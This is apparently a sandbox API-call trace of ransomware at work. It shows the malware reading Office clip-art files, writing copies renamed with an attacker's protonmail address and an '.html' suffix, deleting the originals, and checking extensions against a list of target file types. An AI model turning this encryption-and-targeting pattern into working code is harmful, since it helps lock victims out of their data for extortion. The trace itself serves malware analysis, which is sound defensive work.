	[0199.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0199.501] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=4716) returned 1
	[0199.501] CloseHandle (hObject=0x5e8) returned 1
	[0199.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 0x220
	[0199.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0199.501] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.501] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0199.502] GetLastError () returned 0x0
	[0199.502] ReadFile (in: hFile=0x5e8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x126c, lpOverlapped=0x0) returned 1
	[0199.653] WriteFile (in: hFile=0x460, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1270, lpOverlapped=0x0) returned 1
	[0199.654] ReadFile (in: hFile=0x5e8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.654] WriteFile (in: hFile=0x460, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.654] SetEndOfFile (hFile=0x460) returned 1
	[0199.654] CloseHandle (hObject=0x460) returned 1
	[0199.654] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.654] SetEndOfFile (hFile=0x5e8) returned 1
	[0199.657] CloseHandle (hObject=0x5e8) returned 1
	[0199.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 1
	[0200.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0200.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0200.291] lstrlenW (lpString=".doc") returned 4
	[0200.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0200.291] lstrlenW (lpString=".docx") returned 5
	[0200.291] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0200.291] lstrlenW (lpString=".pdf") returned 4
	[0200.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0200.291] lstrlenW (lpString=".xls") returned 4
	[0200.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0200.291] lstrlenW (lpString=".xlsx") returned 5
	[0200.291] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0200.291] lstrlenW (lpString=".ppt") returned 4
	[0200.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0200.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0200.291] lstrlenW (lpString=".zip") returned 4
	[0200.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0200.291] lstrlenW (lpString=".rar") returned 4
	[0200.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0200.292] lstrlenW (lpString=".bz2") returned 4
	[0200.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0200.292] lstrlenW (lpString=".7z") returned 3
	[0200.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0200.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0200.292] lstrlenW (lpString=".dbf") returned 4
	[0200.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0200.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0200.292] lstrlenW (lpString=".1cd") returned 4
	[0200.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0200.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0200.292] lstrlenW (lpString=".jpg") returned 4
	[0200.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0200.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0200.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0200.292] lstrlenW (lpString=".doc") returned 4
	[0200.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0200.292] lstrlenW (lpString=".docx") returned 5
	[0200.292] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0200.292] lstrlenW (lpString=".pdf") returned 4
	[0200.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0200.292] lstrlenW (lpString=".xls") returned 4
	[0200.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0200.292] lstrlenW (lpString=".xlsx") returned 5
	[0200.292] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0200.292] lstrlenW (lpString=".ppt") returned 4
	[0200.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0200.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0200.292] lstrlenW (lpString=".zip") returned 4
	[0200.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0200.293] lstrlenW (lpString=".rar") returned 4
	[0200.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0200.293] lstrlenW (lpString=".bz2") returned 4
	[0200.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0200.293] lstrlenW (lpString=".7z") returned 3
	[0200.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0200.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0200.293] lstrlenW (lpString=".dbf") returned 4
	[0200.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0200.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0200.293] lstrlenW (lpString=".1cd") returned 4
	[0200.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0200.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0200.293] lstrlenW (lpString=".jpg") returned 4
	[0200.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0200.293] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0200.293] lstrlenW (lpString="J0145272.JPG") returned 12
	[0200.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc
	[0200.448] GetFileSizeEx (in: hFile=0x4fc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=49238) returned 1
	[0200.448] CloseHandle (hObject=0x4fc) returned 1
	[0200.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 0x220
	[0200.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0200.561] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.561] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0200.562] GetLastError () returned 0x0
	[0200.562] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xc056, lpOverlapped=0x0) returned 1
	[0200.600] WriteFile (in: hFile=0x5c4, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xc060, lpOverlapped=0x0) returned 1
	[0200.601] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.601] WriteFile (in: hFile=0x5c4, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0200.601] SetEndOfFile (hFile=0x5c4) returned 1
	[0200.602] CloseHandle (hObject=0x5c4) returned 1
	[0200.602] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.602] SetEndOfFile (hFile=0x5bc) returned 1
	[0200.627] CloseHandle (hObject=0x5bc) returned 1
	[0200.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 1
	[0200.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0200.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0200.640] lstrlenW (lpString=".doc") returned 4
	[0200.640] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.640] lstrlenW (lpString=".docx") returned 5
	[0200.640] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0200.640] lstrlenW (lpString=".pdf") returned 4
	[0200.640] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.640] lstrlenW (lpString=".xls") returned 4
	[0200.640] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.640] lstrlenW (lpString=".xlsx") returned 5
	[0200.640] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0200.640] lstrlenW (lpString=".ppt") returned 4
	[0200.640] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0200.640] lstrlenW (lpString=".zip") returned 4
	[0200.640] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.640] lstrlenW (lpString=".rar") returned 4
	[0200.640] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.640] lstrlenW (lpString=".bz2") returned 4
	[0200.641] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.641] lstrlenW (lpString=".7z") returned 3
	[0200.641] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0200.641] lstrlenW (lpString=".dbf") returned 4
	[0200.641] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0200.641] lstrlenW (lpString=".1cd") returned 4
	[0200.641] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0200.641] lstrlenW (lpString=".jpg") returned 4
	[0200.641] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0200.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0200.641] lstrlenW (lpString=".doc") returned 4
	[0200.641] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.641] lstrlenW (lpString=".docx") returned 5
	[0200.641] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0200.641] lstrlenW (lpString=".pdf") returned 4
	[0200.641] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.641] lstrlenW (lpString=".xls") returned 4
	[0200.641] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.641] lstrlenW (lpString=".xlsx") returned 5
	[0200.641] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0200.641] lstrlenW (lpString=".ppt") returned 4
	[0200.641] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0200.641] lstrlenW (lpString=".zip") returned 4
	[0200.641] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.641] lstrlenW (lpString=".rar") returned 4
	[0200.641] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.642] lstrlenW (lpString=".bz2") returned 4
	[0200.642] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.642] lstrlenW (lpString=".7z") returned 3
	[0200.642] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0200.642] lstrlenW (lpString=".dbf") returned 4
	[0200.642] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0200.642] lstrlenW (lpString=".1cd") returned 4
	[0200.642] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0200.642] lstrlenW (lpString=".jpg") returned 4
	[0200.642] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.642] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0200.642] lstrlenW (lpString="J0145879.JPG") returned 12
	[0200.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0200.654] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=35419) returned 1
	[0200.655] CloseHandle (hObject=0x368) returned 1
	[0200.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 0x220
	[0200.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0200.659] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.659] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8
	[0200.666] GetLastError () returned 0x0
	[0200.666] ReadFile (in: hFile=0x368, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x8a5b, lpOverlapped=0x0) returned 1
	[0200.670] WriteFile (in: hFile=0x4c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x8a60, lpOverlapped=0x0) returned 1
	[0200.672] ReadFile (in: hFile=0x368, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.672] WriteFile (in: hFile=0x4c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0200.672] SetEndOfFile (hFile=0x4c8) returned 1
	[0200.672] CloseHandle (hObject=0x4c8) returned 1
	[0200.672] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.672] SetEndOfFile (hFile=0x368) returned 1
	[0200.675] CloseHandle (hObject=0x368) returned 1
	[0200.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 1
	[0202.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0202.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0202.009] lstrlenW (lpString=".doc") returned 4
	[0202.009] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0202.009] lstrlenW (lpString=".docx") returned 5
	[0202.009] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0202.009] lstrlenW (lpString=".pdf") returned 4
	[0202.009] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0202.009] lstrlenW (lpString=".xls") returned 4
	[0202.009] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0202.009] lstrlenW (lpString=".xlsx") returned 5
	[0202.009] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0202.009] lstrlenW (lpString=".ppt") returned 4
	[0202.009] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0202.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0202.009] lstrlenW (lpString=".zip") returned 4
	[0202.009] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0202.009] lstrlenW (lpString=".rar") returned 4
	[0202.009] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0202.009] lstrlenW (lpString=".bz2") returned 4
	[0202.009] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0202.009] lstrlenW (lpString=".7z") returned 3
	[0202.009] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0202.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0202.010] lstrlenW (lpString=".dbf") returned 4
	[0202.010] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0202.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0202.010] lstrlenW (lpString=".1cd") returned 4
	[0202.010] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0202.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0202.010] lstrlenW (lpString=".jpg") returned 4
	[0202.010] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0202.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0202.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0202.010] lstrlenW (lpString=".doc") returned 4
	[0202.011] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0202.011] lstrlenW (lpString=".docx") returned 5
	[0202.011] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0202.011] lstrlenW (lpString=".pdf") returned 4
	[0202.011] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0202.011] lstrlenW (lpString=".xls") returned 4
	[0202.011] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0202.011] lstrlenW (lpString=".xlsx") returned 5
	[0202.011] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0202.011] lstrlenW (lpString=".ppt") returned 4
	[0202.011] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0202.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0202.011] lstrlenW (lpString=".zip") returned 4
	[0202.011] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0202.011] lstrlenW (lpString=".rar") returned 4
	[0202.011] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0202.011] lstrlenW (lpString=".bz2") returned 4
	[0202.011] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0202.012] lstrlenW (lpString=".7z") returned 3
	[0202.012] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0202.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0202.012] lstrlenW (lpString=".dbf") returned 4
	[0202.012] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0202.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0202.012] lstrlenW (lpString=".1cd") returned 4
	[0202.012] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0202.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0202.012] lstrlenW (lpString=".jpg") returned 4
	[0202.012] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0202.012] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.012] lstrlenW (lpString="J0151063.WMF") returned 12
